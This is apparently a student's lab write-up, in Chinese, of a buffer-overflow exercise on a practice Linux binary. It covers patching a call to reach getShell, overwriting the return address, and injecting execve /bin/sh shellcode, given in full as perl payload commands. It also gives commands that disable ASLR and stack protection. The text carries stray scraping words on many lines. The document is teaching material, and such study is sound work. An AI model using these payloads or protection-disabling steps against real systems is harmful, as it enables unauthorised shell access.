1.掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼html
2.掌握反彙編與十六進制編程器linux
3.能正確修改機器指令改變程序執行流程shell
4.能正確構造payload進行bof攻擊編程
手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數vim
利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數windows
注入一個本身製做的shellcode並運行這段shellcodesass
會使用gdb,vi等基本指令安全
本次實驗,咱們須要用到一個名爲pwn1的可執行文件,有的同窗可能第一反應是文件中的內容是亂碼。這是爲何呢?咱們知道,計算機中信息=位+上下文
,可執行文件的內容是計算機能夠直接識別的語言,天然,用戶就不必定可以認識了。網絡
那麼文件中到底是什麼內容呢?咱們能夠經過反彙編來查看,稍後具體操做,該文件中的程序正常的執行流程是:main執行foo函數,foo函數會簡單回顯任何用戶輸入的字符串。該程序的另外一個子函數爲getshell,顧名思義,它的功能是返回一個終端shell,可是依據程序,這個函數是不會運行的。咱們本次實驗的目標就是想辦法運行這個代碼片斷。在這裏有2種方法,3種實踐內容。方法有二,其一,想辦法運行代碼片斷,其二,就是注入運行shellcode。 因此,本次實驗的目標就是dom
- 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。 - 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。 - 注入一個本身製做的shellcode並運行這段```shellcode```。
pwn1
文件移到PC的共享文件夾裏,而後去Kali的/mnt/hgfs下將pwn_1
文件複製到本身的實驗文件夾中。objdump -d 20165203_pwn1
指令反彙編可執行文件,由此咱們能夠查看文件的彙編語言。80484b5
處的指令call 8048491 <foo>
。咱們能夠分析一下:
0x8048491
處的foo函數。它對應的機器指令爲(看彙編指令前面的機器指令)e8 d7fffffff
, e8
就是call
的機器指令,跳轉的意思。eip
寄存器中存放的是下一步要執行指令的,在本程序中就是80484ba
,可是d7
又是怎麼來的呢?咱們須要找到eip
中的80484ba
和d7
還有8048491
之間的關係,以便修改代碼。咱們能夠發現:d7ffffff
是一個補碼,爲41=0x29,而80484ba + d7ffffff = 80484ba - 0x29
就是8048491
這個值。e8 d7ffffff
中的d7ffffff
爲804847d(getshell的地址)- 8048ba
的補碼就能夠了。c3ffffff
,如圖所示通過以上的分析,咱們的目的就是修改文件中call指令後面的地址中的d7ffffff
爲c3ffffff
,目的清晰,實驗的步驟也就清晰多了。
vim 20165203_pwn1
,打開可執行文件。Esc
鍵 -> :%!xxd
切換到16進制模式,如圖所示。i
進入編輯模式,修改d7
爲c3
:%!xxd -r
切換到16進制模式。:wq
保存並退出。call
後面的地址是不是咱們所預想的那樣呢?./20165203_pwn1
運行修改後的代碼,就獲得了shell
終端。objdump -d 20165203_pwn2
堆棧
來進行,咱們瞭解堆棧的結構,當咱們調用函數時,函數foo 804849a
處的mov語句會讀入字符串,讀入的數據會超出系統保留的緩衝區,超出的部分會溢出覆蓋返回地址,如圖分析所示。80484ae
。80484ae
。如圖所示,經過觀察foo
函數中紅色框框內的指令,咱們能夠看到esp
寄存器空出了0x38
大小的位置,而eax
寄存器又佔到了0x1c
大小的位置,ebp
的大小爲4個字節,因此,緩衝區的小小爲0x38-0x1c+4
爲32字節
。
111111112222222233333333444444441234
,如圖所示。咱們能夠看到1234
覆蓋到了返回地址,咱們只要把這四個字替換爲getshell
的地址,就OK了。
在call
命令處設置斷點,對比eip
處的數據,輸入1234
,出來倒是4321
.咱們能夠肯定是11111111222222223333333344444444\x7d\x84\x04\x08
。
x7d
這樣的16進值,咱們須要構造字符串文件,使ASCII碼爲咱們想輸入的16進值。利用Perl
xxd input
查看input
文件的內容。apt-get install execstack
命令安裝execstack
。execstack -s pwn1 //設置堆棧可執行 execstack -q pwn1 //查詢文件的堆棧是否可執行 more /proc/sys/kernel/randomize_va_space // //查詢是否關閉地址隨機化 echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化 more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化
如圖所示
retaddr+nops+shellcode
,咱們須要在shellcode前填充nop的機器碼90,最前面加上加上返回地址(先定義爲\x4\x3\x2\x1),具體指令爲perl -e 'print"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
。\x4\x3\x2\x1
部分要填什麼。
(cat input_shellcode;cat) | ./20165203_pwn3
ps -ef | grep 20165203_pwn3
來查看20165203_pwn3進程號。如圖所示,進程號爲5023。gdb
, 輸入attach 5023
進行調試。disassemblr foo
反彙編,經過設置斷點,查看注入buf的內存地址。break *0x080484ae
設置斷點,輸入c
命令運行,經過在20165203_pwn3進程正在運行的終端敲回車,使其繼續執行。再返回調試端,使用info r esp
命令查找地址。x/16x 0xffffd3ec
查看esp寄存器中的存放內容,咱們能夠看到01020304
,就是返回地址的位置。而根據咱們構造的input_shellcode(攻擊buf的結構)可知,shellcode就在其後,因此地址是 0xffffd3ec+0x04爲0xffffd3f0
。perl -e 'print"\xf0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
。(cat input_shellcode;cat) | ./20165203_pwn3
運行文件,攻擊成功。Q1:在查看進程號時,發現./20165203_pwn3
的進程號不見了,只有ps -ef | grep 20165203_pwn3
的進程號。
A1:本身在新的終端打開./20165203_pwn3
時,多敲了一個回車,意味着進程執行完畢,天然就不會顯示進程號了。因此,在打開./20165203_pwn3
時,不要敲回車,在調試時敲回車使進程繼續執行。
Q2:注入Shellcode,咱們選擇的是retaddr+nops+shellcode
結構,還有其餘的結構嗎,咱們爲何要選擇上述結構呢?
A2:Linux下有兩種基本構造攻擊buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
nop+shellcode+retaddr nop
一爲是了填充,二是做爲「着陸區/滑行區」實驗感想:本次實驗咱們主要學習了緩衝區溢出與shellcode,這是本身第一次嘗試攻擊程序,修改程序的路徑,感受頗有意思,當攻擊成功後,那種心裏的知足感和成就感油然而生。固然,這其中也參考了學長學姐以前的博客,本身把本身思考分析的過程詳細整理了一下,但願本身在從此能學到更多關於網絡對抗方面的知識。
問題:什麼是漏洞?漏洞有什麼危害?